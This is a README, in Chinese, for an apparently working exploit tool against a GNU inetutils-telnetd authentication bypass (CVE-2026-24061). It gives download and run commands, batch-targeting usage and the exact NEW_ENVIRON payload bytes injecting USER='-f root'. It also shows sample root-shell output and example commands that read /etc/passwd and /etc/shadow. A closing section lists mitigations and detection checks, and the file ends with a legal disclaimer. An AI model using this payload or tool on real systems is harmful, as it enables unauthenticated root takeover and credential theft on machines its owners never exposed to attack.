一个用于利用 CVE-2026-24061 的安全研究工具,该漏洞是 GNU inetutils-telnetd 中的一个严重远程认证绕过漏洞,无需认证即可直接获取 root shell 访问权限。
| 字段 | 值 |
|---|---|
| CVE 标识符 | CVE-2026-24061 |
| CVSS v3.1 评分 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE 分类 | CWE-88:命令中参数分隔符的不当中和 |
| 厂商 | GNU 项目 |
| 产品 | inetutils-telnetd |
| 披露日期 | 2026 年 1 月 20 日 |
| 补丁状态 | 待定 |
GNU inetutils-telnetd 至 2.7 版本存在一个严重漏洞,允许未认证的远程攻击者完全绕过认证并直接获得 root shell 访问权限。攻击者通过 NEW_ENVIRON telnet 选项注入一个经过特殊构造的 USER 环境变量,其值为 "-f root",从而绕过所有认证机制。
| 版本范围 | 状态 |
|---|---|
| <= 2.7 | 受影响 |
| > 2.7 | 补丁状态待定 |
该漏洞源于 telnetd 的 NEW_ENVIRON 选项处理器对 USER 环境变量的验证不当。在处理 NEW_ENVIRON telnet 选项时,telnetd 服务在将 USER 变量值传递给 login 进程之前未对其进行清理。攻击者将 USER 设置为 "-f root",从而注入命令行参数,强制对 root 用户的认证直接成功,而无需任何凭据。
所有依赖项均为 Python 标准库的组成部分:
| 包 | 用途 |
|---|
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
利用单个 telnetd 实例:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
以非交互方式执行命令:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
从文件批量利用多个目标:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
目标文件格式(targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
说明:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
该工具利用 telnet 协议的协商阶段进行漏洞利用:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() 同时监控 socket 和标准输入禁用 telnetd:立即停止并禁用 telnetd 服务
# systemd-based systems
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd-based systems
sudo service xinetd stop
sudo chkconfig telnet off
防火墙规则:在防火墙层面阻止 telnet 端口(23)
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
网络隔离:从面向互联网的系统上移除 telnet 服务
使用 SSH 替代 Telnet:
# Install OpenSSH server
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd
# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Should return no results if properly disabled
检查系统日志中是否存在以下模式:
认证日志:
# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log
网络日志:
# Check for active telnet connections
sudo netstat -antp | grep :23
# Review recent root logins
sudo last | grep root
# Check for modified system files
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# List processes by root
sudo ps aux | grep root
# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys
重要提示:使用前请阅读
本工具严格仅用于:
禁止用途:
责任免除:
本软件的作者、贡献者和分发者对本工具的任何滥用、损害或非法活动不承担任何责任。用户应自行负责:
法律声明:
未经授权访问计算机系统属于严重刑事犯罪。违规者可能依据以下法律被起诉:
处罚可能包括监禁、巨额罚款和民事赔偿责任。
使用本工具即表示您确认已阅读、理解并同意遵守本免责声明及所有适用法律。
| 版本 | 日期 | 变更内容 |
|---|---|---|
| 1.0.0 | 2026-01-23 | 初始发布 |
如有问题、缺陷或贡献意向:
本项目按原样提供,仅用于经授权的安全研究和教育目的。不提供任何明示或暗示的担保。请自行承担使用风险,并遵守所有适用的法律法规。
仅在获得适当授权的情况下使用
| socket | 网络通信 |
| select | I/O 多路复用 |
| sys | 系统交互 |
| os | 操作系统接口 |
| threading | 并发目标利用 |
| datetime | 时间戳格式化 |
| 指示符 | 颜色 | 描述 |
|---|
[SUCCESS] | 绿色 | 成功连接到目标 |
[EXPLOIT] | 绿色 | 利用载荷已成功发送 |
[INFO] | 蓝色 | 关于当前操作的信息性消息 |
[ERROR] | 红色 | 连接失败、超时或利用错误 |
[WARNING] | 黄色 | 警告消息(当前未使用) |
| 措施 | 优先级 | 描述 |
|---|
| 迁移至 SSH | 严重 | 使用 SSH 替代 telnet 进行远程访问 |
| 补丁管理 | 严重 | 监控并应用安全更新 |
| 服务审计 | 高 | 识别并禁用不必要的网络服务 |
| 网络分段 | 高 | 将关键系统与公共网络隔离 |
| 入侵检测 | 中 | 部署 IDS/IPS 以检测利用尝试 |
| 访问控制 | 中 | 为远程服务实施 IP 白名单 |